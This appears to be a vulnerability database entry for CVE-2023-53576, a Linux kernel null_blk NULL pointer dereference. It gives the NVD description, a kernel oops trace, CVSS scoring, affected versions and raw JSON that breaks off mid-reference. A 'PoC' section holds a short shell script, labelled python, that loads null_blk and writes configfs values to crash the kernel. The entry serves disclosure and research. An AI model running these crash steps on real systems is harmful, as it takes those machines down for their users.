Security Vulnerability Report
中文
CVE-2023-53576 CVSS 5.5 MEDIUM

CVE-2023-53576

Published: 2025-10-04 16:15:53
Last Modified: 2026-03-23 18:41:22
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: null_blk: Always check queue mode setting from configfs Make sure to check device queue mode in the null_validate_conf() and return error for NULL_Q_RQ as we don't allow legacy I/O path, without this patch we get OOPs when queue mode is set to 1 from configfs, following are repro steps :- modprobe null_blk nr_devices=0 mkdir config/nullb/nullb0 echo 1 > config/nullb/nullb0/memory_backed echo 4096 > config/nullb/nullb0/blocksize echo 20480 > config/nullb/nullb0/size echo 1 > config/nullb/nullb0/queue_mode echo 1 > config/nullb/nullb0/power Entering kdb (current=0xffff88810acdd080, pid 2372) on processor 42 Oops: (null) due to oops @ 0xffffffffc041c329 CPU: 42 PID: 2372 Comm: sh Tainted: G O N 6.3.0-rc5lblk+ #5 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014 RIP: 0010:null_add_dev.part.0+0xd9/0x720 [null_blk] Code: 01 00 00 85 d2 0f 85 a1 03 00 00 48 83 bb 08 01 00 00 00 0f 85 f7 03 00 00 80 bb 62 01 00 00 00 48 8b 75 20 0f 85 6d 02 00 00 <48> 89 6e 60 48 8b 75 20 bf 06 00 00 00 e8 f5 37 2c c1 48 8b 75 20 RSP: 0018:ffffc900052cbde0 EFLAGS: 00010246 RAX: 0000000000000001 RBX: ffff88811084d800 RCX: 0000000000000001 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff888100042e00 RBP: ffff8881053d8200 R08: ffffc900052cbd68 R09: ffff888105db2000 R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000002 R13: ffff888104765200 R14: ffff88810eec1748 R15: ffff88810eec1740 FS: 00007fd445fd1740(0000) GS:ffff8897dfc80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000060 CR3: 0000000166a00000 CR4: 0000000000350ee0 DR0: ffffffff8437a488 DR1: ffffffff8437a489 DR2: ffffffff8437a48a DR3: ffffffff8437a48b DR6: 00000000ffff0ff0 DR7: 0000000000000400 Call Trace: <TASK> nullb_device_power_store+0xd1/0x120 [null_blk] configfs_write_iter+0xb4/0x120 vfs_write+0x2ba/0x3c0 ksys_write+0x5f/0xe0 do_syscall_64+0x3b/0x90 entry_SYSCALL_64_after_hwframe+0x72/0xdc RIP: 0033:0x7fd4460c57a7 Code: 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 48 89 54 24 18 48 89 74 24 RSP: 002b:00007ffd3792a4a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 RAX: ffffffffffffffda RBX: 0000000000000002 RCX: 00007fd4460c57a7 RDX: 0000000000000002 RSI: 000055b43c02e4c0 RDI: 0000000000000001 RBP: 000055b43c02e4c0 R08: 000000000000000a R09: 00007fd44615b4e0 R10: 00007fd44615b3e0 R11: 0000000000000246 R12: 0000000000000002 R13: 00007fd446198520 R14: 0000000000000002 R15: 00007fd446198700 </TASK>

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel 6.3.0-rc5及之前的版本
Linux Kernel stable分支（具体受影响的稳定版本需参考各commit链接）

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2023-53576 PoC - Trigger null_blk kernel Oops via configfs # Requires: root or CAP_SYS_ADMIN to load module # Step 1: Load null_blk module with 0 initial devices modprobe null_blk nr_devices=0 # Step 2: Create nullb0 device via configfs mkdir /sys/kernel/config/nullb/nullb0 # Step 3: Configure device parameters echo 1 > /sys/kernel/config/nullb/nullb0/memory_backed echo 4096 > /sys/kernel/config/nullb/nullb0/blocksize echo 20480 > /sys/kernel/config/nullb/nullb0/size # Step 4: Set queue_mode to 1 (NULL_Q_RQ - unsupported legacy mode) echo 1 > /sys/kernel/config/nullb/nullb0/queue_mode # Step 5: Power on the device - triggers kernel Oops echo 1 > /sys/kernel/config/nullb/nullb0/power # Expected result: Kernel Oops / panic due to NULL pointer dereference # RIP: null_add_dev.part.0+0xd9/0x720 [null_blk]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53576", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:53.250", "lastModified": "2026-03-23T18:41:22.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnull_blk: Always check queue mode setting from configfs\n\nMake sure to check device queue mode in the null_validate_conf() and\nreturn error for NULL_Q_RQ as we don't allow legacy I/O path, without\nthis patch we get OOPs when queue mode is set to 1 from configfs,\nfollowing are repro steps :-\n\nmodprobe null_blk nr_devices=0\nmkdir config/nullb/nullb0\necho 1 > config/nullb/nullb0/memory_backed\necho 4096 > config/nullb/nullb0/blocksize\necho 20480 > config/nullb/nullb0/size\necho 1 > config/nullb/nullb0/queue_mode\necho 1 > config/nullb/nullb0/power\n\nEntering kdb (current=0xffff88810acdd080, pid 2372) on processor 42 Oops: (null)\ndue to oops @ 0xffffffffc041c329\nCPU: 42 PID: 2372 Comm: sh Tainted: G O N 6.3.0-rc5lblk+ #5\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\nRIP: 0010:null_add_dev.part.0+0xd9/0x720 [null_blk]\nCode: 01 00 00 85 d2 0f 85 a1 03 00 00 48 83 bb 08 01 00 00 00 0f 85 f7 03 00 00 80 bb 62 01 00 00 00 48 8b 75 20 0f 85 6d 02 00 00 <48> 89 6e 60 48 8b 75 20 bf 06 00 00 00 e8 f5 37 2c c1 48 8b 75 20\nRSP: 0018:ffffc900052cbde0 EFLAGS: 00010246\nRAX: 0000000000000001 RBX: ffff88811084d800 RCX: 0000000000000001\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff888100042e00\nRBP: ffff8881053d8200 R08: ffffc900052cbd68 R09: ffff888105db2000\nR10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000002\nR13: ffff888104765200 R14: ffff88810eec1748 R15: ffff88810eec1740\nFS: 00007fd445fd1740(0000) GS:ffff8897dfc80000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000060 CR3: 0000000166a00000 CR4: 0000000000350ee0\nDR0: ffffffff8437a488 DR1: ffffffff8437a489 DR2: ffffffff8437a48a\nDR3: ffffffff8437a48b DR6: 00000000ffff0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n nullb_device_power_store+0xd1/0x120 [null_blk]\n configfs_write_iter+0xb4/0x120\n vfs_write+0x2ba/0x3c0\n ksys_write+0x5f/0xe0\n do_syscall_64+0x3b/0x90\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\nRIP: 0033:0x7fd4460c57a7\nCode: 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 48 89 54 24 18 48 89 74 24\nRSP: 002b:00007ffd3792a4a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\nRAX: ffffffffffffffda RBX: 0000000000000002 RCX: 00007fd4460c57a7\nRDX: 0000000000000002 RSI: 000055b43c02e4c0 RDI: 0000000000000001\nRBP: 000055b43c02e4c0 R08: 000000000000000a R09: 00007fd44615b4e0\nR10: 00007fd44615b3e0 R11: 0000000000000246 R12: 0000000000000002\nR13: 00007fd446198520 R14: 0000000000000002 R15: 00007fd446198700\n </TASK>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.10.181", "matchCriteriaId": "F8177E76-3132-48DA-9A80-A8C120E1F22C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.113", "matchCriteriaId": "F3D5E1B5-AB9D-4ECC-8F11-F3E1BF761E27"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.30", "matchCriteriaId": "E9430E62-03EA-42E6-9E5E-BD1D5124D107"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.3.4", "matchCriteriaId": "26C54BF0-3EED-46D4-92A7-5F07F658B49B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/35e304dbcefa95237a3d6f94c007bfb10f012b17", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/63f8793ee60513a09f110ea460a6ff2c33811cdb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/651260e563d9f50827dac496dc8a0b9b23d5db1a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06 ... (truncated)
Disclaimer

This information is for security research and authorized penetration testing only. Unauthorized testing of other systems is illegal.